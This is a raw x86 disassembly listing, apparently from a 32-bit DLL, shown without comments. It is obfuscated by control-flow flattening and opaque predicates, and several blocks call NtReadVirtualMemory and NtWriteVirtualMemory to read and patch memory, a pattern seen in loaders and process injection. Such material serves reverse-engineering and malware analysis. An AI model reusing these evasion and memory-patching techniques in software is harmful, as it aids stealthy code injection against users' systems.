mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000fc50
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x148]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10010880
add esp, 0xc
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x160], 0x83084f74
jmp 0x1000f25e
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x160], 0x61b2a26b
jmp 0x1000f25e
mov eax, dword [0x1006aa88]
mov ecx, dword [0x1006aa84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb7f07f28
mov ecx, 0x187ff471
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov ecx, dword [0x1006aa88]
mov eax, dword [0x1006aa84]
mov edx, ecx
add edx, 0x88a2f913
sub edx, 1
sub edx, 0x88a2f913
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc30f55c
mov ecx, 0x42d0570a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov eax, dword [0x1006aa88]
mov ecx, dword [0x1006aa84]
mov edx, eax
sub edx, 0x4d58f604
sub edx, 1
add edx, 0x4d58f604
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9831f3e5
mov ecx, 0x10767ac3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov eax, dword [0x1006aa88]
mov ecx, dword [0x1006aa84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1aba2f86
mov ecx, 0x105f50f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f25e
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x30]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x160], 0x87674e39
jmp 0x1000f25e
mov dword [ebp - 0x160], 0x4527bb77
jmp 0x1000f25e
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x160], 0xba8fdbd5
jmp 0x1000f25e
mov eax, dword [ebp - 0x148]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10010880
add esp, 0xc
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x160], 0xe316be68
jmp 0x1000f25e
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x128]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x118]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10007860
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [ebp - 0x11c]
mov eax, dword [ebp - 0x128]
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x160], 0xadaa3b63
jmp 0x1000f25e
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x78]
mov dword [eax], ecx
mov dword [ebp - 0x160], 0x28a87766
jmp 0x1000f25e
mov dword [ebp - 0x160], 0x7040cdc1
jmp 0x1000f25e
mov dword [ebp - 0x160], 0x1f005f9c
jmp 0x1000f25e
mov dword [ebp - 0x160], 0xac5f0c6
jmp 0x1000f25e
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x48]
movzx ecx, word [eax + ecx*2]
mov edx, 0xffffffff
xor edx, 0xfff
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x50]
add ecx, 0x6bccd361
add ecx, eax
sub ecx, 0x6bccd361
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x14c]
mov edx, dword [eax]
mov eax, dword [ebp - 0xfc]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
mov dword [ebp - 0x160], 0xdf1804d4
jmp 0x1000f25e
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xfc]
mov ecx, dword [ecx]
add ecx, 0x97e87f2
add ecx, eax
sub ecx, 0x97e87f2
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x14c]
mov edx, dword [eax]
mov eax, dword [ebp - 0xfc]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x160], 0x3cb65c59
jmp 0x1000f25e
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov dword [ebp - 0x160], 0xdd76ac66
jmp 0x1000f25e
mov dword [ebp - 0x160], 0x75619649
jmp 0x1000f25e
mov dword [ebp - 0x160], 0x5b6fba2a
jmp 0x1000f25e
mov eax, dword [ebp - 0x104]
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x160], 0x10767ac3
jmp 0x1000f25e
jmp 0x10008070